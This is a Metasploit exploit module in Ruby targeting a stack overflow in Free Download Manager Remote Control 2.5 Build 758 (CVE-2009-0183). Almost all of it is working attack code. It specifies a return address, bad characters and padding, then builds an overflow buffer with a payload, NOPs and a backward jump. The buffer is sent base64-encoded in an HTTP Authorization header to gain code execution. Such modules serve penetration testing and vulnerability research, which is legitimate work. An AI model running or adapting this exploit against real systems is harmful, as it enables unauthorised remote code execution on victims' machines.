##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Free Download Manager Remote Control Server Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack overflow in Free Download Manager
					Remote Control 2.5 Build 758. When sending a specially crafted
					Authorization header, an attacker may be able to execute
					arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2009-0183' ],
					[ 'OSVDB', '51745' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x0d\x0a",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Privileged'     => true,
			'Platform'       => 'win',
			'Targets'        => 
				[
					[ 'Free Download Manager 2.5 Build 758', { 'Ret' => 0x0040ae0f } ], # fdmwi.exe
				],	
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 2 2009'))
	end

	def exploit

		sploit =  rand_text_alpha_upper(1012 - payload.encoded.length) + payload.encoded
		sploit << [target.ret].pack('V') + make_nops(4) + [0xe8, -575].pack('CV')

		print_status("Trying target #{target.name}...")

		send_request_raw({
			'headers' => { 'Authorization' => "Basic #{Rex::Text.encode_base64(sploit)}" }
			}, 2)

		handler
		disconnect

	end

end